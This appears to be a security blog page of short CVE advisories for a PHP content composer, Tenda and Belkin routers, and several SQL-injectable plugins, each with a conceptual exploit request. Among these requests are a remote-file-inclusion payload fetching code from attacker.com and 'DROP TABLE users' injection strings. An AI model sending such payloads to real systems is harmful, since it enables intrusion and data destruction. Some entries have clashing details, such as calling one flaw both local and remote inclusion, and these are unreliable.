Author: Ameeba

CVE-2025-4414: Critical PHP Remote File Inclusion Vulnerability in CMSMasters Content Composer
Overview

In the ever-evolving landscape of cybersecurity, vulnerabilities emerge that could potentially compromise our systems and leak sensitive data. One such vulnerability, identified as CVE-2025-4414, relates to an improper control of filename in PHP program that allows for PHP Local File Inclusion. This vulnerability presents a serious threat as it affects CMSMasters Content Composer, a widely used content management system. It’s essential for all users of this software to be aware of the potential risk and take the necessary steps to mitigate it.
The impact of this vulnerability is significant, with a potential for system compromise or data leakage. With a CVSS score of 8.1, it is clearly a high-risk vulnerability. Any entity using CMSMasters Content Composer should prioritize this issue and act promptly to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-4414
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

CMSMasters Content Composer | All versions up to latest

How the Exploit Works

The vulnerability arises due to improper control of a filename that is used in an include/require statement in a PHP program within CMSMasters Content Composer. An attacker can manipulate the filename input and include a file from a remote server. This is known as a PHP Remote File Inclusion (RFI) vulnerability. The attacker can use this to run arbitrary PHP code within the application’s context, potentially leading to full system compromise.

Conceptual Example Code

This conceptual example illustrates how a PHP RFI vulnerability like CVE-2025-4414 could be exploited. The attacker sends a HTTP POST request to a vulnerable endpoint with a malicious payload:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
file=http://attacker.com/malicious.php
```
In this example, the server would download and execute the “malicious.php” script from the attacker’s server, leading to the execution of arbitrary PHP code on the target system.

Mitigation

Users of CMSMasters Content Composer are strongly urged to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could be used as a temporary mitigation measure. Implementing strict input validation and sanitization methods can also help reduce the risk associated with this vulnerability.
July 12, 2025
CVE-2025-50263: Buffer Overflow Vulnerability in Tenda AC6 Routers
Overview

This article delves into the details of the recently discovered CVE-2025-50263 vulnerability, which affects Tenda AC6 routers version 15.03.05.16_multi. This cybersecurity threat is associated with a buffer overflow vulnerability in the function “fromSetRouteStatic” and it could potentially lead to severe consequences, including system compromise and data leakage. In the realm of cybersecurity, understanding such vulnerabilities is crucial for both individuals and organizations that use the affected devices, as it enables them to implement the necessary measures to protect their systems and data.

Vulnerability Summary

CVE ID: CVE-2025-50263
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Tenda AC6 Router | v15.03.05.16_multi

How the Exploit Works

The vulnerability arises from a buffer overflow condition in the “fromSetRouteStatic” function of the Tenda AC6 router. Buffer overflow is a common type of security exploit that occurs when more data is written to a buffer than it can handle, causing the excess data to overflow into adjacent memory space. In this case, the vulnerability is triggered through the ‘list’ parameter, which, when manipulated with a particularly crafted input, can overflow the buffer, leading to unexpected behavior, including system crashes, incorrect outputs, or potential code execution.

Conceptual Example Code

The following is a simplified and conceptual example of how an attacker might exploit this vulnerability. The attacker sends a specially crafted payload through a POST request to the router’s configuration endpoint.
```
POST /cgi-bin/SetStaticRouteCfg HTTP/1.1
Host: tenda.router
Content-Type: application/x-www-form-urlencoded
list=AAAAAAAAAAA... (repeated until overflow occurs)
```
In this case, the ‘list’ parameter is filled with an excessive amount of data (represented by ‘A’s), causing the buffer to overflow. The specifics of the malicious payload would depend on the attacker’s objective, which could range from causing a denial of service (crashing the router) to potentially executing arbitrary code.

Mitigation

Users of the affected Tenda AC6 routers should apply the patch provided by the vendor as soon as possible. If the patch cannot be applied immediately, the use of Web Application Firewalls (WAFs) or Intrusion Detection Systems (IDS) can provide temporary mitigation. These systems can be configured to detect and block suspicious activities associated with the exploitation of this vulnerability, providing an additional layer of security to the vulnerable systems. However, these should not be considered a long-term solution, and applying the vendor’s patch should be prioritized to ensure full protection against the vulnerability.
July 12, 2025
CVE-2025-50258: Buffer Overflow Vulnerability in Tenda AC6 Router
Overview

In the ever-evolving landscape of cybersecurity, a new vulnerability has been discovered in Tenda AC6 v15.03.05.16_multi routers. This vulnerability, identified as CVE-2025-50258, has been found to be susceptible to a buffer overflow attack via the SetSysTimeCfg function. This issue affects a wide range of users, from individual households to enterprise networks that use the vulnerable version of Tenda AC6 routers. The severity of this vulnerability lies in its potential to compromise systems or leak data, which is a significant threat to privacy and information security.

Vulnerability Summary

CVE ID: CVE-2025-50258
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC6 Router | v15.03.05.16_multi

How the Exploit Works

The vulnerability arises from a buffer overflow condition in the SetSysTimeCfg function of the Tenda AC6 router. A buffer overflow occurs when more data is written to a buffer than it can handle, causing an overflow of data into adjacent memory locations. In this case, the overflow is triggered via the time parameter, allowing a malicious attacker to execute arbitrary code or cause a denial of service.

Conceptual Example Code

Here’s a conceptual example of a malformed HTTP request that could exploit this vulnerability:
```
POST /SetSysTimeCfg HTTP/1.1
Host: target.router.ip
Content-Type: application/json
{
"time": "<buffer overflow inducing string>"
}
```
In the above example, “ would be replaced by a string that causes the buffer to overflow, potentially allowing arbitrary code execution.

Impact and Mitigation

The impact of this vulnerability is severe, as it could potentially allow an attacker to compromise the entire system or lead to data leakage. The CVSS score of 8.1 further emphasizes the severity of this vulnerability.
To mitigate this vulnerability, users are urged to apply the vendor patch as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and block suspicious activities, providing a layer of protection against potential attacks exploiting this vulnerability.
July 12, 2025
CVE-2025-32297: High Severity SQL Injection Vulnerability in Simple Link Directory
Overview

Cybersecurity threats continue to evolve, and the recent discovery of a high severity vulnerability, tagged as CVE-2025-32297, exposes the inherent risks in insufficient neutralization of special elements in SQL commands, commonly known as SQL Injection. This particular vulnerability affects the Simple Link Directory, a product of QuantumCloud. The software, popular among web developers, is a critical component in the operation of various websites, creating an alarming potential for widespread impact. This issue underlines the importance of continuous vigilance and swift response in the cybersecurity landscape.

Vulnerability Summary

CVE ID: CVE-2025-32297
Severity: High (CVSS Score 8.5)
Attack Vector: Web
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

QuantumCloud Simple Link Directory | Up to version 14.7.3

How the Exploit Works

An attacker exploiting this vulnerability would leverage the lack of proper neutralization of special elements in an SQL command. This allows for the injection of malicious SQL code into the Simple Link Directory. The injected SQL code can manipulate the database, leading to unauthorized access, data manipulation, or even loss of data. The severity of the vulnerability is amplified by the fact that low privileges are required and no user interaction is needed for the exploit to succeed.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a malicious HTTP POST request like the one below:
```
POST /simple-link-directory/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "link": "'; DROP TABLE users;--" }
```
In this example, the injected SQL command `’; DROP TABLE users;–` would cause the table “users” to be deleted if the system is vulnerable.

Mitigation

Users of the Simple Link Directory should immediately upgrade to the latest version or apply patches provided by the vendor. As a temporary mitigation, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block SQL Injection attempts. However, these measures do not fully remedy the vulnerability but only reduce the risk of exploit. It is highly recommended to update or patch the affected software as soon as possible.
July 12, 2025
CVE-2025-24780: SQL Injection Vulnerability in Printcart Web to Print Product Designer for WooCommerce
Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical vulnerability, CVE-2025-24780, present in the Printcart Web to Print Product Designer for WooCommerce. This vulnerability, classified as an SQL Injection, has the potential to enable a malicious actor to pass unfiltered SQL commands to the underlying database, leading to potential system compromise or data leakage. This can have severe ramifications, including unauthorized access, data corruption, and even system takeover, making it a threat to any entity using this software plugin in their WooCommerce setup.

Vulnerability Summary

CVE ID: CVE-2025-24780
Severity: High (CVSS: 8.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Printcart Web to Print Product Designer for WooCommerce | N/A – 2.4.0

How the Exploit Works

In the case of CVE-2025-24780, the improper neutralization of special elements used in an SQL command, commonly referred to as ‘SQL Injection‘, is the primary culprit. An attacker can exploit this vulnerability by injecting malicious SQL commands into the system. The software fails to properly sanitize user-supplied input, leading to the execution of these commands, which can compromise the system or lead to data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited via an HTTP request:
```
POST /printcart/API/addtocart HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=1; DROP TABLE users; --
```
In this example, the attacker sends a seemingly innocent request to add a product to the cart. However, they have inserted a malicious SQL command (`DROP TABLE users;`) after the product_id parameter, aiming to delete the users table from the database. The `–` at the end is a comment in SQL, ensuring that any following part of the original SQL command gets ignored.
Please note that this is a simplified example, and real-world attacks can be much more sophisticated and hard to detect. The primary purpose of this example is to illustrate the nature of the vulnerability, not to provide a precise blueprint for real-world exploits.

Recommended Mitigation

Users of the affected Printcart Web to Print Product Designer for WooCommerce versions are strongly urged to apply the vendor-provided patch immediately. Alternatively, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential SQL injection attacks.
July 12, 2025
CVE-2025-30979: SQL Injection Vulnerability in Pixelating Image Slideshow Gallery
Overview

The cybersecurity world is witnessing the emergence of a new and severe vulnerability, CVE-2025-30979. This security flaw affects the Pixelating image slideshow gallery, a popular tool used in various platforms to create and manage image slideshows. The vulnerability is due to the improper neutralization of special elements used in an SQL command, also known as an SQL Injection flaw. This vulnerability is particularly concerning due to its potential to compromise systems or leak data, leading to significant security risks for any system employing the affected versions of Pixelating image slideshow gallery.

Vulnerability Summary

CVE ID: CVE-2025-30979
Severity: High (8.5/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Pixelating Image Slideshow Gallery | n/a through 8.0

How the Exploit Works

The SQL Injection vulnerability, CVE-2025-30979, exists due to the application’s failure to properly sanitize user-supplied input before incorporating it into SQL queries. This allows an attacker to manipulate the SQL query by injecting malicious SQL code, leading to unauthorized access to sensitive information in the database, data manipulation, or even remote code execution in some cases.

Conceptual Example Code

The following is a conceptual example illustrating how the vulnerability could be exploited. This is not an actual exploit, but a hypothetical representation of an SQL injection attack against the vulnerable endpoint:
```
POST /pixelating_image_slideshow_gallery/ HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
image_id=1; DROP TABLE users; --
```
In this example, the attacker sends a POST request with the malicious payload “1; DROP TABLE users; –“. If the application does not correctly sanitize the input and includes it directly into an SQL query, it would result in the unintended deletion of the “users” table from the database.

Mitigation Guidance

To mitigate the CVE-2025-30979 vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking SQL injection attempts. It is also important to follow best practices for SQL query construction, including the use of parameterized queries or prepared statements, which can help to prevent SQL injection vulnerabilities.
July 12, 2025
CVE-2025-7094: Critical Stack-based Buffer Overflow Vulnerability in Belkin F9K1122 1.00.33
Overview

The CVE-2025-7094 vulnerability is a critical flaw identified in Belkin F9K1122 version 1.00.33. This issue pertains to the function formBSSetSitesurvey of the file /goform/formBSSetSitesurvey of the webs component. Affected devices are susceptible to a stack-based buffer overflow attack, which can be triggered remotely by manipulating the argument submit-url-ok. This vulnerability is of significant concern due to its potential to compromise entire systems or lead to data leaks, particularly given that the exploit has been publicly disclosed with no response from the vendor.

Vulnerability Summary

CVE ID: CVE-2025-7094
Severity: Critical (CVSS score 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Belkin F9K1122 | 1.00.33

How the Exploit Works

The vulnerability originates from the formBSSetSitesurvey function in the webs component of Belkin F9K1122. The exploit works by manipulating the argument submit-url-ok, which leads to a stack-based buffer overflow. This overflow can potentially overwrite necessary data and control the execution flow of the software, thereby granting unauthorized access or control. This exploit can be triggered remotely, without any user interaction or prior privileges, increasing the risk and potential impact.

Conceptual Example Code

Here’s a conceptual example of how an HTTP request exploiting this vulnerability might look:
```
POST /goform/formBSSetSitesurvey HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
submit-url-ok=%s
```
In the above example, `%s` would represent a string of characters exceeding the buffer’s capacity, leading to overflow.
Please note that the above example is purely conceptual and may not represent an actual successful exploit. It’s provided for illustrative purposes to help understand the nature of the vulnerability.

Mitigation Guidance

As the vendor has not yet provided a patch or responded to the vulnerability disclosure, it’s recommended to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block exploit attempts. Users are advised to monitor their systems closely for any unusual activity and to apply vendor patches as soon as they become available.
July 11, 2025
CVE-2025-7093: Critical Vulnerability in Belkin F9K1122 1.00.33 Impacting System Security and Data Integrity
Overview

The cybersecurity landscape has been hit with another critical vulnerability, this time affecting Belkin F9K1122 1.00.33. Labeled as CVE-2025-7093, this vulnerability has severe implications for system security and data integrity. This vulnerability, found in the function formSetLanguage of the file /goform/formSetLanguage, exploits a stack-based buffer overflow that can lead to system compromise or data leakage. The problem is further compounded by the fact that the exploit has been made publicly available and the vendor has yet to respond with a patch or solution.

Vulnerability Summary

CVE ID: CVE-2025-7093
Severity: Critical (CVSS Score: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Belkin F9K1122 | 1.00.33

How the Exploit Works

The vulnerability occurs due to an overflow condition within the formSetLanguage function of the /goform/formSetLanguage file. The issue lies in the improper verification of user-supplied data, which can result in a buffer overflow on the stack. An attacker can exploit this to execute arbitrary code on the system with elevated privileges. This can lead to a full compromise of the system or potential data leakage if exploited successfully.

Conceptual Example Code

The following is a conceptual example of how a malicious HTTP request exploiting this vulnerability might look:
```
POST /goform/formSetLanguage HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
webpage=%s
```
In this example, `%s` represents a malicious payload designed to overflow the buffer and execute arbitrary code.

Mitigation Guidance

Users are advised to apply the vendor’s patch as soon as it becomes available. In the absence of a patch, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. These systems can detect and block attempts to exploit this vulnerability. However, this is only a temporary solution and does not fully address the underlying vulnerability.
July 11, 2025
CVE-2025-7092: Critical Buffer Overflow Vulnerability in Belkin F9K1122 1.00.33
Overview

A critical vulnerability, identified as CVE-2025-7092, has been discovered in Belkin F9K1122 1.00.33. This vulnerability has been classified as severe due to its potential for system compromise or data leakage. The security flaw lies in the function formWlanSetupWPS of the file /goform/formWlanSetupWPS of the component webs and can be exploited remotely. The exploit has been disclosed publicly, increasing the risk of potential attacks. The vendor has been notified but has not provided any response to this issue.

Vulnerability Summary

CVE ID: CVE-2025-7092
Severity: Critical (CVSS: 8.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Belkin F9K1122 | 1.00.33

How the Exploit Works

The exploit manipulation involves the argument wps_enrolee_pin/webpage leading to a stack-based buffer overflow. This occurs when an attacker sends an oversized, specially crafted payload to the target system that exceeds the buffer’s boundary and overwrites adjacent memory. The overflow could allow an attacker to execute arbitrary code or disrupt the normal operation of the system.

Conceptual Example Code

While the actual code to exploit this vulnerability has been withheld, the following conceptual HTTP request illustrates a similar scenario:
```
POST /goform/formWlanSetupWPS HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
wps_enrolee_pin=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
```
In the above example, “AAAAAAAA…” represents an oversized payload that, when processed by the target system, would lead to a buffer overflow.

Mitigation

Until a patch is provided by the vendor, users are advised to employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation against potential attacks. These systems can detect and block malicious payloads that attempt to exploit this vulnerability.
July 11, 2025
CVE-2025-7091: Critical Buffer Overflow Vulnerability in Belkin F9K1122 1.00.33
Overview

A critical vulnerability has been identified in the Belkin F9K1122 version 1.00.33. This vulnerability, tracked as CVE-2025-7091, can potentially lead to system compromise or data leakage. It impacts the function formWlanMP of the file /goform/formWlanMP of the component webs. This vulnerability matters because it can be exploited remotely, and the exploit details have been made public. Furthermore, the vendor has not responded to early disclosure, leaving the systems vulnerable.

Vulnerability Summary

CVE ID: CVE-2025-7091
Severity: Critical, with a CVSS score of 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Belkin F9K1122 | 1.00.33

How the Exploit Works

The vulnerability exists due to a stack-based buffer overflow within the function formWlanMP of the file /goform/formWlanMP. This overflow is triggered by manipulating inputs to a series of arguments. By sending a specially crafted input to these arguments, an attacker can cause the system to write data beyond the intended buffer space, potentially leading to system crashes or, more worryingly, allowing the execution of arbitrary code.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using a HTTP POST request with specifically crafted malicious data:
```
POST /goform/formWlanMP HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
ateFunc=OVERFLOW_DATA&ateGain=OVERFLOW_DATA&ateTxCount=OVERFLOW_DATA&ateChan=OVERFLOW_DATA&ateRate=OVERFLOW_DATA&ateMacID=OVERFLOW_DATA&e2pTxPower1=OVERFLOW_DATA&e2pTxPower2=OVERFLOW_DATA&e2pTxPower3=OVERFLOW_DATA&e2pTxPower4=OVERFLOW_DATA&e2pTxPower5=OVERFLOW_DATA&e2pTxPower6=OVERFLOW_DATA&e2pTxPower7=OVERFLOW_DATA&e2pTx2Power1=OVERFLOW_DATA&e2pTx2Power2=OVERFLOW_DATA&e2pTx2Power3=OVERFLOW_DATA&e2pTx2Power4=OVERFLOW_DATA&e2pTx2Power5=OVERFLOW_DATA&e2pTx2Power6=OVERFLOW_DATA&e2pTx2Power7=OVERFLOW_DATA&ateTxFreqOffset=OVERFLOW_DATA&ateMode=OVERFLOW_DATA&ateBW=OVERFLOW_DATA&ateAntenna=OVERFLOW_DATA&e2pTxFreqOffset=OVERFLOW_DATA&e2pTxPwDeltaB=OVERFLOW_DATA&e2pTxPwDeltaG=OVERFLOW_DATA&e2pTxPwDeltaMix=OVERFLOW_DATA&e2pTxPwDeltaN=OVERFLOW_DATA&readE2P=OVERFLOW_DATA
```
In this example, “OVERFLOW_DATA” would be replaced with the data intended to overflow the buffer.

Mitigation

As of now, the vendor has not provided any patches for this vulnerability. As a temporary mitigation, it is recommended to implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) that can detect and block attempts to exploit this vulnerability. Users are encouraged to keep a close watch on any updates from the vendor and apply patches as soon as they become available.
July 11, 2025